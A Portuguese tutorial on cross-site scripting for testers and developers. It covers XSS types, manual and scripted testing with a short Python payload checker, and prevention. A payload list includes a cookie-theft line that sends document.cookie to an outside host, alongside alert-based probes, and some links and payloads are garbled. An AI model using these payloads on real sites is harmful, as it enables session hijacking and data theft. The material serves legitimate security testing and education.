De acordo com estatísticas que vi e com minha experiência, as vulnerabilidades XSS continuam a ser uma ameaça predominante para aplicativos da web, apresentando riscos de roubo de dados, sequestro de sessão e problemas de site. Decidi que poderia passar mais tempo pesquisando esse tipo de vulnerabilidade e compartilhar com vocês pelo menos esse conhecimento básico semelhante a uma visão geral, para que muitos especialistas em controle de qualidade e desenvolvimento possam ter em mente algumas maneiras de testar seus aplicativos contra esse problema. Este artigo explora diferentes tipos de XSS, metodologias de teste e abordagens de automação e fornece alguns exemplos e cargas úteis para testes de penetração eficazes.
O cross-site scripting (XSS) permite que invasores injetem scripts maliciosos em páginas da web visualizadas por outros usuários, explorando vulnerabilidades na execução de código do lado do cliente. Compreender os diferentes tipos de vulnerabilidades XSS e usar estratégias de teste adequadas são cruciais para construir aplicativos web seguros e protegidos contra tais ataques.
As explorações de XSS ocorrem quando a entrada de usuários não confiáveis é inadequadamente higienizada e executada em um aplicativo da web, permitindo que invasores injetem e executem scripts maliciosos no contexto dos navegadores de outros usuários.
Ocorre quando os dados fornecidos pelo usuário são repetidos na resposta sem a validação adequada.
Exemplo: <script>alert('XSS_DEMO')</script>
injetado através de um parâmetro de URL.
Essas explorações ocorrem quando um aplicativo da Web reflete entradas não validadas do usuário no navegador do usuário, sem a devida limpeza. Neste ataque, o invasor cria uma URL maliciosa contendo código de script que, quando clicado pela vítima, é executado no contexto da página vulnerável. O script malicioso não é armazenado no servidor, mas é refletido diretamente na entrada do usuário. As vulnerabilidades refletidas do XSS são frequentemente aproveitadas em ataques de phishing ou para manipular a experiência de navegação do usuário. O impacto pode ser grave, variando desde roubo de cookies até sequestro de sessão.
O script malicioso é armazenado permanentemente no servidor e executado quando acessado por outros usuários.
Exemplo: script malicioso armazenado em um comentário/postagem em um fórum ou página de perfil de rede social.
Também conhecido como XSS persistente, surge quando um invasor injeta código de script malicioso em um aplicativo da web, que é então armazenado no servidor. Este script injetado é posteriormente recuperado e executado sempre que a página vulnerável é acessada por outros usuários. Os ataques XSS armazenados são particularmente perigosos porque o script injetado persiste ao longo do tempo, afetando potencialmente vários usuários e levando à exploração generalizada. Os invasores geralmente têm como alvo conteúdo gerado pelo usuário, como comentários, postagens em fóruns, nomes de entidades que são exibidos em páginas da web ou campos de perfil para executar suas cargas maliciosas. As consequências do XSS armazenado podem incluir roubo de dados, controle de contas e desfiguração de sites, representando riscos significativos tanto para os usuários quanto para a organização afetada.
A execução do script depende da manipulação do DOM no lado do cliente.
Exemplo: o código JS recupera e executa dados controlados pelo usuário do hash de URL.
Ocorre quando um aplicativo da web manipula dinamicamente o DOM com base na entrada de um usuário não confiável de maneira insegura. Ao contrário dos ataques XSS tradicionais, que envolvem processamento no lado do servidor, o XSS baseado em DOM se manifesta inteiramente no lado do cliente. Os invasores exploram o XSS baseado em DOM manipulando scripts do lado do cliente para executar código arbitrário no navegador da vítima. Esse tipo de XSS costuma ser mais difícil de detectar e mitigar, pois a vulnerabilidade reside no código do lado do cliente e pode não ser evidente durante os testes no lado do servidor. Os ataques XSS baseados em DOM podem levar a várias consequências, incluindo sequestro de sessão, exfiltração de dados e ações não autorizadas em nome do usuário, destacando a importância de medidas de segurança do lado do cliente e práticas vigilantes de desenvolvimento de aplicativos da web.
É um ataque de engenharia social em que um invasor engana um usuário para que execute código malicioso em seu navegador. Ao contrário dos ataques XSS tradicionais que visam vários usuários, o Self-XSS explora a confiança do usuário para executar código em sua sessão. Normalmente, os invasores induzem as vítimas a colar código JS de aparência aparentemente inocente no console do desenvolvedor do navegador ou em alguns campos de um site, sob o pretexto de uma ação inofensiva, como desbloquear um recurso ou ganhar recompensas. Uma vez executado, o código injetado pode potencialmente comprometer a conta da vítima, roubar informações confidenciais ou realizar ações não autorizadas em seu nome. Apesar de estar limitado à sessão da vítima, o Self-XSS continua a ser uma ameaça, enfatizando a importância da educação e conscientização do usuário para reconhecer e evitar tais táticas enganosas.
Você pode escrever alguns scripts; Eu prefiro Python, por exemplo:
import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")
Analise as respostas para determinar se as cargas são refletidas ou executadas. Crie PoC, entenda o impacto potencial e priorize a correção de problemas.
Passos:
Insira uma tag de script, seguida de algum código JS, nos campos de entrada do seu aplicativo.
Por exemplo, cargas XSS básicas:
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.
Envie a entrada e veja se o script é executado.
Se isso acontecer, o aplicativo estará vulnerável a ataques XSS.
Se o script não for executado, tente modificar a entrada adicionando outras tags HTML, como <img>
ou <iframe>
, e veja se elas são refletidas na página, por exemplo (esta quase sempre funciona para mim):
<b>t</b>#`"/*—est
Você pode adicionar um script para consultar parâmetros do URL do seu aplicativo da web ou um nome de usuário, nomes de arquivos carregados ou qualquer texto que será exibido na página do aplicativo que você pode alterar.
Esteja ciente das validações front-end de entradas. Sempre tente enviar o valor por meio de uma solicitação direta (usando Postman, Burp ou qualquer ferramenta semelhante).
Verifique o console do navegador nas ferramentas de desenvolvimento porque às vezes você pode não ver nenhuma alteração visível na página, mas alguns símbolos, por exemplo `"/*—
podem quebrar o JS/HTML da página, e você verá um aviso no console que pode será uma dica para você sobre como modificar sua carga útil para obter um XSS PoC
Use difusão e uma lista de cargas úteis - automatize essa abordagem quando possível ou use ferramentas especiais para isso.
Pessoalmente, gosto de usar payloads e informações daqui , é um recurso muito útil, na minha opinião.
PoC XSS
print()
para navegadores Chrome após a versão 92.Exploração avançada de XSS
Ignorando filtros XSS
Codifique os dados com base no contexto no qual os dados de saída estão sendo renderizados. Aplique diferentes métodos de codificação para HTML, JS, CSS e outros contextos para garantir proteção abrangente contra XSS.
Por exemplo , use codificação de entidade HTML para conteúdo HTML, escape de JavaScript para contextos de script embutidos e escape de CSS para atributos de estilo para evitar injeção de script e manter a integridade dos dados em vários contextos de saída.
Implemente listas de permissões e listas negras de entrada para filtrar e validar entradas do usuário com base em listas de permissões e listas de bloqueio predefinidas de caracteres, padrões ou tipos de conteúdo permitidos e proibidos.
O XSS representa ameaças persistentes aos aplicativos da web, arriscando violações de dados e a confiança do usuário. Compreender os tipos de XSS e os métodos de teste é crucial para uma mitigação eficaz. Técnicas de prevenção, como validação de entrada, codificação de saída e implementação de CSP, melhoram a segurança do aplicativo. Ao priorizar práticas de segurança e colaboração, as equipes podem proteger seus aplicativos contra XSS e garantir a segurança adequada dos aplicativos web.
Se você é iniciante e está interessado em segurança cibernética e testes de penetração ou apenas deseja melhorar seu aplicativo para torná-lo mais seguro, leia meus artigos sobre estes tópicos:
Para obter mais detalhes sobre XSS e cargas úteis, você pode encontrar os seguintes recursos:
Sempre conduza testes de penetração com permissão explícita e em um ambiente controlado. Esta abordagem ética garante que as avaliações de segurança estejam alinhadas com protocolos de testes responsáveis, evitando comprometimentos inadvertidos dos sistemas e mantendo a integridade do processo de testes e da estratégia global de segurança cibernética.